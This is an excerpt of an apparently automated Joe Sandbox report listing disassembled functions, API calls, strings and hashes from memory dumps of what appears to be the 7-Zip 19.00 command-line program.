                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
                                                                                                                                                                                                                                                              • Instruction ID: 991ad8c72772e5cb52f1b62b92dee97fb13ff662c20ac72218dd8a19a237b2f5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6F411EB6306F8581CA64DF2AE4542AE73A2F7CAF94F449526CB4E47724DF38C496C304
                                                                                                                                                                                                                                                              Function 006F6A20 Relevance: 12.6, APIs: 10, Instructions: 59COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
                                                                                                                                                                                                                                                              • Instruction ID: c4536414dd193e47e5497c7f8ec14c0e05eb46f0d9820eeb272bbeb3976d7a27
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7211607370188588CB91AE2ADC612FC2362EB85F94F1D4279EF2D1F359DE20C8828354
                                                                                                                                                                                                                                                              Function 006BFC9C Relevance: 12.5, APIs: 10, Instructions: 44COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
                                                                                                                                                                                                                                                              • Instruction ID: 462ad53c068b764d6a6346f6ba6e228f2e2663aaeb3ab8cafd1684fb51acd437
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 000112B331194693CA44EF3ADD614AC7362FB85F94704426ADF2D4B765DF20D8A6C348
                                                                                                                                                                                                                                                              Function 006E6528 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 132COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: /$\$a$z
                                                                                                                                                                                                                                                              • API String ID: 1294909896-3795456795
                                                                                                                                                                                                                                                              • Opcode ID: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
                                                                                                                                                                                                                                                              • Instruction ID: 715b71684b9df6a9b13df71a32288ba264d88556dd39dd428566fb0eb6c69d50
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7B41B392B123D499DB30AB23D4046F93763F332BD4F894226FA55033A9EB7589D6C702
                                                                                                                                                                                                                                                              Function 006F870C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 006F877E
                                                                                                                                                                                                                                                              • Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 006F878E
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$fputs
                                                                                                                                                                                                                                                              • String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
                                                                                                                                                                                                                                                              • API String ID: 2444650769-4238946813
                                                                                                                                                                                                                                                              • Opcode ID: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
                                                                                                                                                                                                                                                              • Instruction ID: 9486a1bba2f9d32cce4b8cc205422ae38deff6dd711d4339a047e37e73f66aee
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 38216D7370568989CA709B25F9803FEB322B785B84F984565CB4E97B18CF3CD896CB44
                                                                                                                                                                                                                                                              Function 006FE3E4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                              • String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
                                                                                                                                                                                                                                                              • API String ID: 1646373207-4044117955
                                                                                                                                                                                                                                                              • Opcode ID: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
                                                                                                                                                                                                                                                              • Instruction ID: 9d70e7986cd7874f2061f07480730880a1ba2cd5a0f8056016a3b398b294aac3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1FE07E78A45A07D1EA05DB95FCA836433A2FB49751F805036C40E033A0EF7E827AC704
                                                                                                                                                                                                                                                              Function 006B4F24 Relevance: 11.4, APIs: 9, Instructions: 111COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: a041cbdb6f5740e4120ede61be48ff6f97309ac3af8f67b0fadf56b6372aeade
                                                                                                                                                                                                                                                              • Instruction ID: 8b06e8809b98fd86adaf11e0d2d7a981465bb9986ea6feaaf59091a9f348a950
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a041cbdb6f5740e4120ede61be48ff6f97309ac3af8f67b0fadf56b6372aeade
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1731DFA2714F8142DA50EE2AD4902ED7752EBD6FE4B084225FF6F1B75ACF29C4828744
                                                                                                                                                                                                                                                              Function 006D0554 Relevance: 11.4, APIs: 9, Instructions: 100COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 408039514-0
                                                                                                                                                                                                                                                              • Opcode ID: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
                                                                                                                                                                                                                                                              • Instruction ID: 08f4f828c32b0bad5f16f886d25c126fbeedf2a6dd2c2176ccfaf115187e299d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6931D2637145808BCB70DF25E89029EB762F7C5794F44022AEB8E83B69DF39D895CB04
                                                                                                                                                                                                                                                              Function 006EEAD4 Relevance: 11.3, APIs: 9, Instructions: 94COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
                                                                                                                                                                                                                                                              • Instruction ID: 8c3c0e97ed55fd6f9f3bcf2e7756859b289db1566aeba39db8d89ad9736b7bf6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1631D3A1309B8480EB04DF679A613A42B239745FC0F80A055DF0A97715FF7ADA56C308
                                                                                                                                                                                                                                                              Function 006E29F7 Relevance: 11.3, APIs: 9, Instructions: 52COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
                                                                                                                                                                                                                                                              • Instruction ID: 321d5b140214fdb0a97bfb5d8ef55900eb36346290a0298004498ac5b1e40eb8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 09012CA325A59145CA51FB3AE8B26AE6352F7C3B91F0411A6DF4E13711CE38C487C708
                                                                                                                                                                                                                                                              Function 006E3677 Relevance: 11.3, APIs: 9, Instructions: 48COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
                                                                                                                                                                                                                                                              • Instruction ID: 9e511da5563d53dbc419254684c1c3b8fcd2e227d6ab805a4d88c0df36dbb5f8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4E01BBA225659145CA51FF3AE4616AE5352E7C7B91F011165DF4E53711CE38C487C708
                                                                                                                                                                                                                                                              Function 006F68FC Relevance: 11.3, APIs: 9, Instructions: 45COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
                                                                                                                                                                                                                                                              • Instruction ID: 133c5a57f274c94366debcfd1c3d33b0edaf10adaa130ee175e8b57991b03de5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 19012CA371198689CB50FF3ADCB11EC2362EB86B987184275FF1D4B715DE60CC928348
                                                                                                                                                                                                                                                              Function 006BF0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
                                                                                                                                                                                                                                                              • Instruction ID: 4ebe0426a8b5bb407f839def1060b4f29d62e496d56f01fabc49717bf3a056ea
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A90144A37119818ACB50FF3ADCA11EC7761EB85B98B184275FF1D4B765DE60C8D28348
                                                                                                                                                                                                                                                              Function 006FC844 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 195COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FC91C
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FC9F1
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FCADA
                                                                                                                                                                                                                                                                • Part of subcall function 006B22E4: fflush.MSVCRT ref: 006B22EB
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free$fflushfputcmemset
                                                                                                                                                                                                                                                              • String ID: ERROR: $ERRORS:$WARNINGS:
                                                                                                                                                                                                                                                              • API String ID: 2975459029-4064182643
                                                                                                                                                                                                                                                              • Opcode ID: d2a1a2e72694af25cfe5264c7c3dc1886793622186513fdaa31e5f638f821b21
                                                                                                                                                                                                                                                              • Instruction ID: 0f0bd1ca1452b15ac7e54603d073fa9a4dacd08e6977c184434c5591579eb04c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d2a1a2e72694af25cfe5264c7c3dc1886793622186513fdaa31e5f638f821b21
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 96617FA670058E9ACE78EB72E6613BE7353F741B90F48402ADB1F07702DF68E8948354
                                                                                                                                                                                                                                                              Function 006E5680 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 181COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: : $...$Junction: $REPARSE:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-1476144188
                                                                                                                                                                                                                                                              • Opcode ID: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
                                                                                                                                                                                                                                                              • Instruction ID: edc9a7aecb174958c06401b771c2d4fe57f6487c71eb4cdb626580d7ff99744a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
